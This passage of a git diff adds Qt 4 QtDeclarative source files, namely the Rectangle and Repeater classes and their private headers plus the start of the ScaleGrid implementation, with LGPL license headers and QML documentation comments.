+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVERECT_H
+#define QDECLARATIVERECT_H
+
+#include "qdeclarativeitem.h"
+
+#include <QtGui/qbrush.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePen : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(int width READ width WRITE setWidth NOTIFY penChanged)
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY penChanged)
+public:
+ QDeclarativePen(QObject *parent=0)
+ : QObject(parent), _width(1), _color("#000000"), _valid(false)
+ {}
+
+ int width() const { return _width; }
+ void setWidth(int w);
+
+ QColor color() const { return _color; }
+ void setColor(const QColor &c);
+
+ bool isValid() { return _valid; }
+
+Q_SIGNALS:
+ void penChanged();
+
+private:
+ int _width;
+ QColor _color;
+ bool _valid;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeGradientStop : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal position READ position WRITE setPosition)
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+
+public:
+ QDeclarativeGradientStop(QObject *parent=0) : QObject(parent) {}
+
+ qreal position() const { return m_position; }
+ void setPosition(qreal position) { m_position = position; updateGradient(); }
+
+ QColor color() const { return m_color; }
+ void setColor(const QColor &color) { m_color = color; updateGradient(); }
+
+private:
+ void updateGradient();
+
+private:
+ qreal m_position;
+ QColor m_color;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeGradient : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeGradientStop> stops READ stops)
+ Q_CLASSINFO("DefaultProperty", "stops")
+
+public:
+ QDeclarativeGradient(QObject *parent=0) : QObject(parent), m_gradient(0) {}
+ ~QDeclarativeGradient() { delete m_gradient; }
+
+ QDeclarativeListProperty<QDeclarativeGradientStop> stops() { return QDeclarativeListProperty<QDeclarativeGradientStop>(this, m_stops); }
+
+ const QGradient *gradient() const;
+
+Q_SIGNALS:
+ void updated();
+
+private:
+ void doUpdate();
+
+private:
+ QList<QDeclarativeGradientStop *> m_stops;
+ mutable QGradient *m_gradient;
+ friend class QDeclarativeGradientStop;
+};
+
+class QDeclarativeRectanglePrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeRectangle : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
+ Q_PROPERTY(QDeclarativeGradient *gradient READ gradient WRITE setGradient)
+ Q_PROPERTY(QDeclarativePen * border READ border CONSTANT)
+ Q_PROPERTY(qreal radius READ radius WRITE setRadius NOTIFY radiusChanged)
+public:
+ QDeclarativeRectangle(QDeclarativeItem *parent=0);
+
+ QColor color() const;
+ void setColor(const QColor &);
+
+ QDeclarativePen *border();
+
+ QDeclarativeGradient *gradient() const;
+ void setGradient(QDeclarativeGradient *gradient);
+
+ qreal radius() const;
+ void setRadius(qreal radius);
+
+ QRectF boundingRect() const;
+
+ void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+
+Q_SIGNALS:
+ void colorChanged();
+ void radiusChanged();
+
+private Q_SLOTS:
+ void doUpdate();
+
+private:
+ void generateRoundedRect();
+ void generateBorderedRect();
+ void drawRect(QPainter &painter);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeRectangle)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeRectangle)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePen)
+QML_DECLARE_TYPE(QDeclarativeGradientStop)
+QML_DECLARE_TYPE(QDeclarativeGradient)
+QML_DECLARE_TYPE(QDeclarativeRectangle)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVERECT_H
diff --git a/src/declarative/graphicsitems/qdeclarativerectangle_p_p.h b/src/declarative/graphicsitems/qdeclarativerectangle_p_p.h
new file mode 100644
index 00000000..0f1fb0f5
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativerectangle_p_p.h
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVERECT_P_H
+#define QDECLARATIVERECT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeitem_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeGradient;
+class QDeclarativeRectangle;
+class QDeclarativeRectanglePrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeRectangle)
+
+public:
+ QDeclarativeRectanglePrivate() :
+ color(Qt::white), gradient(0), pen(0), radius(0), paintmargin(0)
+ {
+ QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents;
+ }
+
+ ~QDeclarativeRectanglePrivate()
+ {
+ delete pen;
+ }
+
+ QColor color;
+ QDeclarativeGradient *gradient;
+ QDeclarativePen *pen;
+ qreal radius;
+ qreal paintmargin;
+ QPixmap rectImage;
+ static int doUpdateSlotIdx;
+
+ QDeclarativePen *getPen() {
+ if (!pen) {
+ Q_Q(QDeclarativeRectangle);
+ pen = new QDeclarativePen;
+ static int penChangedSignalIdx = -1;
+ if (penChangedSignalIdx < 0)
+ penChangedSignalIdx = QDeclarativePen::staticMetaObject.indexOfSignal("penChanged()");
+ if (doUpdateSlotIdx < 0)
+ doUpdateSlotIdx = QDeclarativeRectangle::staticMetaObject.indexOfSlot("doUpdate()");
+ QMetaObject::connect(pen, penChangedSignalIdx, q, doUpdateSlotIdx);
+ }
+ return pen;
+ }
+
+ void setPaintMargin(qreal margin)
+ {
+ Q_Q(QDeclarativeRectangle);
+ if (margin == paintmargin)
+ return;
+ q->prepareGeometryChange();
+ paintmargin = margin;
+ }
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVERECT_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp
new file mode 100644
index 00000000..9250c783
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp
@@ -0,0 +1,447 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativerepeater_p.h"
+#include "private/qdeclarativerepeater_p_p.h"
+
+#include "private/qdeclarativevisualitemmodel_p.h"
+#include <private/qdeclarativeglobal_p.h>
+#include <qdeclarativelistaccessor_p.h>
+
+#include <qlistmodelinterface_p.h>
+
+QT_BEGIN_NAMESPACE
+QDeclarativeRepeaterPrivate::QDeclarativeRepeaterPrivate()
+: model(0), ownModel(false)
+{
+}
+
+QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate()
+{
+ if (ownModel)
+ delete model;
+}
+
+/*!
+ \qmlclass Repeater QDeclarativeRepeater
+ \ingroup qml-utility-elements
+ \since 4.7
+ \inherits Item
+
+ \brief The Repeater element allows you to repeat an Item-based component using a model.
+
+ The Repeater element is used to create a large number of
+ similar items. Like other view elements, a Repeater has a \l model and a \l delegate:
+ for each entry in the model, the delegate is instantiated
+ in a context seeded with data from the model. A Repeater item is usually
+ enclosed in a positioner element such as \l Row or \l Column to visually
+ position the multiple delegate items created by the Repeater.
+
+ The following Repeater creates three instances of a \l Rectangle item within
+ a \l Row:
+
+ \snippet doc/src/snippets/declarative/repeaters/repeater.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/repeaters/repeater.qml simple
+
+ \image repeater-simple.png
+
+ A Repeater's \l model can be any of the supported \l {qmlmodels}{data models}.
+ Additionally, like delegates for other views, a Repeater delegate can access
+ its index within the repeater, as well as the model data relevant to the
+ delegate. See the \l delegate property documentation for details.
+
+ Items instantiated by the Repeater are inserted, in order, as
+ children of the Repeater's parent. The insertion starts immediately after
+ the repeater's position in its parent stacking list. This allows
+ a Repeater to be used inside a layout. For example, the following Repeater's
+ items are stacked between a red rectangle and a blue rectangle:
+
+ \snippet doc/src/snippets/declarative/repeaters/repeater.qml layout
+
+ \image repeater.png
+
+
+ \note A Repeater item owns all items it instantiates. Removing or dynamically destroying
+ an item created by a Repeater results in unpredictable behavior.
+
+
+ \section2 Considerations when using Repeater
+
+ The Repeater element creates all of its delegate items when the repeater is first
+ created. This can be inefficient if there are a large number of delegate items and
+ not all of the items are required to be visible at the same time. If this is the case,
+ consider using other view elements like ListView (which only creates delegate items
+ when they are scrolled into view) or use the \l {Dynamic Object Creation} methods to
+ create items as they are required.
+
+ Also, note that Repeater is \l {Item}-based, and can only repeat \l {Item}-derived objects.
+ For example, it cannot be used to repeat QtObjects:
+ \badcode
+ Item {
+ //XXX does not work! Can't repeat QtObject as it doesn't derive from Item.
+ Repeater {
+ model: 10
+ QtObject {}
+ }
+ }
+ \endcode
+ */
+
+/*!
+ \qmlsignal Repeater::onItemAdded(int index, Item item)
+ \since QtQuick 1.1
+
+ This handler is called when an item is added to the repeater. The \a index
+ parameter holds the index at which the item has been inserted within the
+ repeater, and the \a item parameter holds the \l Item that has been added.
+*/
+
+/*!
+ \qmlsignal Repeater::onItemRemoved(int index, Item item)
+ \since QtQuick 1.1
+
+ This handler is called when an item is removed from the repeater. The \a index
+ parameter holds the index at which the item was removed from the repeater,
+ and the \a item parameter holds the \l Item that was removed.
+
+ Do not keep a reference to \a item if it was created by this repeater, as
+ in these cases it will be deleted shortly after the handler is called.
+*/
+
+QDeclarativeRepeater::QDeclarativeRepeater(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativeRepeaterPrivate), parent)
+{
+}
+
+QDeclarativeRepeater::~QDeclarativeRepeater()
+{
+}
+
+/*!
+ \qmlproperty any Repeater::model
+
+ The model providing data for the repeater.
+
+ This property can be set to any of the supported \l {qmlmodels}{data models}:
+
+ \list
+ \o A number that indicates the number of delegates to be created by the repeater
+ \o A model (e.g. a ListModel item, or a QAbstractItemModel subclass)
+ \o A string list
+ \o An object list
+ \endlist
+
+ The type of model affects the properties that are exposed to the \l delegate.
+
+ \sa {qmlmodels}{Data Models}
+*/
+QVariant QDeclarativeRepeater::model() const
+{
+ Q_D(const QDeclarativeRepeater);
+ return d->dataSource;
+}
+
+void QDeclarativeRepeater::setModel(const QVariant &model)
+{
+ Q_D(QDeclarativeRepeater);
+ if (d->dataSource == model)
+ return;
+
+ clear();
+ if (d->model) {
+ disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ /*
+ disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));
+ */
+ }
+ d->dataSource = model;
+ QObject *object = qvariant_cast<QObject*>(model);
+ QDeclarativeVisualModel *vim = 0;
+ if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {
+ if (d->ownModel) {
+ delete d->model;
+ d->ownModel = false;
+ }
+ d->model = vim;
+ } else {
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this), this);
+ d->ownModel = true;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ dataModel->setModel(model);
+ }
+ if (d->model) {
+ connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ /*
+ connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));
+ */
+ regenerate();
+ }
+ emit modelChanged();
+ emit countChanged();
+}
+
+/*!
+ \qmlproperty Component Repeater::delegate
+ \default
+
+ The delegate provides a template defining each item instantiated by the repeater.
+
+ Delegates are exposed to a read-only \c index property that indicates the index
+ of the delegate within the repeater. For example, the following \l Text delegate
+ displays the index of each repeated item:
+
+ \table
+ \row
+ \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index
+ \o \image repeater-index.png
+ \endtable
+
+ If the \l model is a \l{QStringList-based model}{string list} or
+ \l{QObjectList-based model}{object list}, the delegate is also exposed to
+ a read-only \c modelData property that holds the string or object data. For
+ example:
+
+ \table
+ \row
+ \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata
+ \o \image repeater-modeldata.png
+ \endtable
+
+ If the \l model is a model object (such as a \l ListModel) the delegate
+ can access all model roles as named properties, in the same way that delegates
+ do for view classes like ListView.
+
+ \sa {QML Data Models}
+ */
+QDeclarativeComponent *QDeclarativeRepeater::delegate() const
+{
+ Q_D(const QDeclarativeRepeater);
+ if (d->model) {
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ return dataModel->delegate();
+ }
+
+ return 0;
+}
+
+void QDeclarativeRepeater::setDelegate(QDeclarativeComponent *delegate)
+{
+ Q_D(QDeclarativeRepeater);
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ if (delegate == dataModel->delegate())
+ return;
+
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this));
+ d->ownModel = true;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model)) {
+ dataModel->setDelegate(delegate);
+ regenerate();
+ emit delegateChanged();
+ }
+}
+
+/*!
+ \qmlproperty int Repeater::count
+
+ This property holds the number of items in the repeater.
+*/
+int QDeclarativeRepeater::count() const
+{
+ Q_D(const QDeclarativeRepeater);
+ if (d->model)
+ return d->model->count();
+ return 0;
+}
+
+/*!
+ \qmlmethod Item Repeater::itemAt(index)
+ \since QtQuick 1.1
+
+ Returns the \l Item that has been created at the given \a index, or \c null
+ if no item exists at \a index.
+*/
+QDeclarativeItem *QDeclarativeRepeater::itemAt(int index) const
+{
+ Q_D(const QDeclarativeRepeater);
+ if (index >= 0 && index < d->deletables.count())
+ return d->deletables[index];
+ return 0;
+
+}
+
+void QDeclarativeRepeater::componentComplete()
+{
+ QDeclarativeItem::componentComplete();
+ regenerate();
+}
+
+QVariant QDeclarativeRepeater::itemChange(GraphicsItemChange change,
+ const QVariant &value)
+{
+ QVariant rv = QDeclarativeItem::itemChange(change, value);
+ if (change == ItemParentHasChanged) {
+ regenerate();
+ }
+
+ return rv;
+}
+
+void QDeclarativeRepeater::clear()
+{
+ Q_D(QDeclarativeRepeater);
+ bool complete = isComponentComplete();
+
+ if (d->model) {
+ while (d->deletables.count() > 0) {
+ QDeclarativeItem *item = d->deletables.takeLast();
+ if (complete)
+ emit itemRemoved(d->deletables.count()-1, item);
+ d->model->release(item);
+ }
+ }
+ d->deletables.clear();
+}
+
+void QDeclarativeRepeater::regenerate()
+{
+ Q_D(QDeclarativeRepeater);
+ if (!isComponentComplete())
+ return;
+
+ clear();
+
+ if (!d->model || !d->model->count() || !d->model->isValid() || !parentItem() || !isComponentComplete())
+ return;
+
+ for (int ii = 0; ii < count(); ++ii) {
+ QDeclarativeItem *item = d->model->item(ii);
+ if (item) {
+ QDeclarative_setParent_noEvent(item, parentItem());
+ item->setParentItem(parentItem());
+ item->stackBefore(this);
+ d->deletables << item;
+ emit itemAdded(ii, item);
+ }
+ }
+}
+
+void QDeclarativeRepeater::itemsInserted(int index, int count)
+{
+ Q_D(QDeclarativeRepeater);
+ if (!isComponentComplete())
+ return;
+ for (int i = 0; i < count; ++i) {
+ int modelIndex = index + i;
+ QDeclarativeItem *item = d->model->item(modelIndex);
+ if (item) {
+ QDeclarative_setParent_noEvent(item, parentItem());
+ item->setParentItem(parentItem());
+ if (modelIndex < d->deletables.count())
+ item->stackBefore(d->deletables.at(modelIndex));
+ else
+ item->stackBefore(this);
+ d->deletables.insert(modelIndex, item);
+ emit itemAdded(modelIndex, item);
+ }
+ }
+ emit countChanged();
+}
+
+void QDeclarativeRepeater::itemsRemoved(int index, int count)
+{
+ Q_D(QDeclarativeRepeater);
+ if (!isComponentComplete() || count <= 0)
+ return;
+ while (count--) {
+ QDeclarativeItem *item = d->deletables.takeAt(index);
+ emit itemRemoved(index, item);
+ if (item)
+ d->model->release(item);
+ else
+ break;
+ }
+ emit countChanged();
+}
+
+void QDeclarativeRepeater::itemsMoved(int from, int to, int count)
+{
+ Q_D(QDeclarativeRepeater);
+ if (!isComponentComplete() || count <= 0)
+ return;
+ if (from + count > d->deletables.count()) {
+ regenerate();
+ return;
+ }
+ QList<QDeclarativeItem*> removed;
+ int removedCount = count;
+ while (removedCount--)
+ removed << d->deletables.takeAt(from);
+ for (int i = 0; i < count; ++i)
+ d->deletables.insert(to + i, removed.at(i));
+ d->deletables.last()->stackBefore(this);
+ for (int i = d->model->count()-1; i > 0; --i) {
+ QDeclarativeItem *item = d->deletables.at(i-1);
+ item->stackBefore(d->deletables.at(i));
+ }
+}
+
+void QDeclarativeRepeater::modelReset()
+{
+ if (!isComponentComplete())
+ return;
+ regenerate();
+ emit countChanged();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativerepeater_p.h b/src/declarative/graphicsitems/qdeclarativerepeater_p.h
new file mode 100644
index 00000000..ee1aa748
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativerepeater_p.h
@@ -0,0 +1,110 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEREPEATER_H
+#define QDECLARATIVEREPEATER_H
+
+#include "qdeclarativeitem.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeRepeaterPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeRepeater : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged)
+ Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged)
+ Q_PROPERTY(int count READ count NOTIFY countChanged)
+ Q_CLASSINFO("DefaultProperty", "delegate")
+
+public:
+ QDeclarativeRepeater(QDeclarativeItem *parent=0);
+ virtual ~QDeclarativeRepeater();
+
+ QVariant model() const;
+ void setModel(const QVariant &);
+
+ QDeclarativeComponent *delegate() const;
+ void setDelegate(QDeclarativeComponent *);
+
+ int count() const;
+
+ Q_INVOKABLE Q_REVISION(1) QDeclarativeItem *itemAt(int index) const;
+
+Q_SIGNALS:
+ void modelChanged();
+ void delegateChanged();
+ void countChanged();
+
+ Q_REVISION(1) void itemAdded(int index, QDeclarativeItem *item);
+ Q_REVISION(1) void itemRemoved(int index, QDeclarativeItem *item);
+
+private:
+ void clear();
+ void regenerate();
+
+protected:
+ virtual void componentComplete();
+ QVariant itemChange(GraphicsItemChange change, const QVariant &value);
+
+private Q_SLOTS:
+ void itemsInserted(int,int);
+ void itemsRemoved(int,int);
+ void itemsMoved(int,int,int);
+ void modelReset();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeRepeater)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeRepeater)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeRepeater)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEREPEATER_H
diff --git a/src/declarative/graphicsitems/qdeclarativerepeater_p_p.h b/src/declarative/graphicsitems/qdeclarativerepeater_p_p.h
new file mode 100644
index 00000000..0ba14b58
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativerepeater_p_p.h
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEREPEATER_P_H
+#define QDECLARATIVEREPEATER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativerepeater_p.h"
+
+#include "private/qdeclarativeitem_p.h"
+
+#include <QPointer>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeContext;
+class QDeclarativeVisualModel;
+class QDeclarativeRepeaterPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeRepeater)
+
+public:
+ QDeclarativeRepeaterPrivate();
+ ~QDeclarativeRepeaterPrivate();
+
+ QDeclarativeVisualModel *model;
+ QVariant dataSource;
+ bool ownModel;
+
+ QList<QPointer<QDeclarativeItem> > deletables;
+};
+
+QT_END_NAMESPACE
+#endif // QDECLARATIVEREPEATER_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativescalegrid.cpp b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
new file mode 100644
index 00000000..44f50fd5
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
@@ -0,0 +1,213 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativescalegrid_p_p.h"
+
+#include <qdeclarative.h>
+
+#include <QBuffer>
+#include <QDebug>
+
+QT_BEGIN_NAMESPACE
+/*!
+ \internal
+ \class QDeclarativeScaleGrid
+ \brief The QDeclarativeScaleGrid class allows you to specify a 3x3 grid to use in scaling an image.
+*/
+
+QDeclarativeScaleGrid::QDeclarativeScaleGrid(QObject *parent) : QObject(parent), _left(0), _top(0), _right(0), _bottom(0)
+{
+}
+
+QDeclarativeScaleGrid::~QDeclarativeScaleGrid()
+{
+}
+
+bool QDeclarativeScaleGrid::isNull() const
+{
+ return !_left && !_top && !_right && !_bottom;
